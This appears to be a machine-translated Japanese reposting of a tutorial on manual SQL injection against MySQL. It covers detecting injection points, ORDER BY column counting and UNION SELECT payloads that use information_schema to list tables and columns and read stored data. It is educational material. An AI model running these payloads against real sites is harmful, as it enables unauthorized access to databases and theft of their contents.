簡単な手動 SQL インジェクション プロセスについて話しましょう

WBOY
リリース: 2022-01-28 17:02:47
転載
4530 人が閲覧しました

この記事では、SQL での手動インジェクションに関する問題 (インジェクション ポイントの決定やインジェクション タイプの決定に関する問題など) について説明します。

簡単な手動 SQL インジェクション プロセスについて話しましょう

注入ポイントの決定

1. シングルクォーテーションマーク方式:URLの直後にシングルクォーテーションマークを追加します ページが正常に表示できない場合は、ブラウザはいくつかの例外情報を返します。これは、リンクに SQL インジェクションの脆弱性がある可能性があることを示します。

2.1=1 および 1=2: URL の後の get パラメータに 1=1 を追加します。表示は正常です。 、1=1 を 1 =2 に置き換えると、表示が異常になり、Web ページに SQL インジェクションがあることを示します。

注入タイプの判断

1. 数値注入: 注入される変数の値は、

select * from user where id=$id;
ログイン後にコピー

のように引用符で囲む必要はありません2. 文字注入: 注入された変数が使用されます。`

select * from user where username='$username';`
ログイン後にコピー

のように引用符で囲みます。注入するときは必ず引用符を閉じてください。
3. 検索インジェクション:

select * from user where username like '%$pass%';
ログイン後にコピー

SQL ステートメントを

select * from user where username like '%$pass%' union select语句 '%%';
ログイン後にコピー

として構築します。つまり、転送される変数は、クロージャを形成する pass%' Union select ステートメント '% です。

注入ポイントの送信方法を決定する

注入ポイントの送信方法が get、post、またはパケット キャプチャおよびその他の方法による Cookie であるかどうかを決定します。

order by を使用してフィールドをクエリする

order by ステートメントを使用して、データベースに存在するフィールドの数をクエリします。データベースのフィールドの数は、継続的に試行することで決定できます。たとえば、次のような場合です。 9 による順序を入力すると、ページ エラーが報告され、8 による順序を入力すると、ページは通常どおり表示されます。つまり、データベースには 8 つのフィールドがあります。
たとえば、クエリ ステートメントは次のとおりです: select * from user where id='$id';
次の入力を構築できます: (id = ') ' order by 3 ' --
つまり、クエリ ステートメントは次のとおりです。 select * from user where id='' order by 3 '--'

結合クエリを使用して、現在のデータベース、ユーザー、およびバージョン情報をクエリします。

union select ステートメントを使用して、現在のユーザー user()、データベース database()、データベース バージョン version()、サーバー オペレーティング システム @@version_compile_os およびその他の情報をクエリします。
バージョン version は非常に重要です。バージョン 5.0 以降の場合、information_schema ライブラリを使用して必要な情報を簡単にクエリできます。
構築ステートメント:

select * from user where id='' union select user(),database(),version()+--+;
ログイン後にコピー

テーブル、列、および値をクエリします。現在のデータベース内

##5.0 以降 mysql データベースに付属する information_schema ライブラリは、すべてのテーブル名とリストされた情報をデータベースに保存します。

次に、ステップ 5 の現在のデータベース クエリの結果に従って、table という名前のすべてのテーブルの情報を確認する必要があります (たとえば、データベースは database_1 です)。

Information_schema.tables: データベース内のすべてのテーブル名情報を記録するテーブル。 構築されたクエリ ステートメントは次のとおりです。

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
ログイン後にコピー
クエリの結果は、5 番目のステップでクエリされた現在のデータベース内のテーブル名情報です。


Information_schema.columns: データベース内のすべてのテーブルの列名情報を記録します; 次に、上記のクエリから取得したテーブル名情報に基づいてその列をクエリする必要があります (たとえば、テーブルは table_1 です) 情報に名前を付け、次のようにステートメントを作成します。

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
ログイン後にコピー
列名をクエリした後、結合クエリを通じてテーブルに格納されている情報を直接見つけることができます (たとえば、見つかった列名)は、column_1、column_2) ステートメントの構築

Selcet * from user where id='' union select 1,column_1,column_2 from tables;--
ログイン後にコピー
指定されたデータベースの指定されたテーブルに格納されているデータをクエリできます

推奨される学習:

mysql ビデオ チュートリアル

以上が簡単な手動 SQL インジェクション プロセスについて話しましょうの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
sql
ソース:csdn.net
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!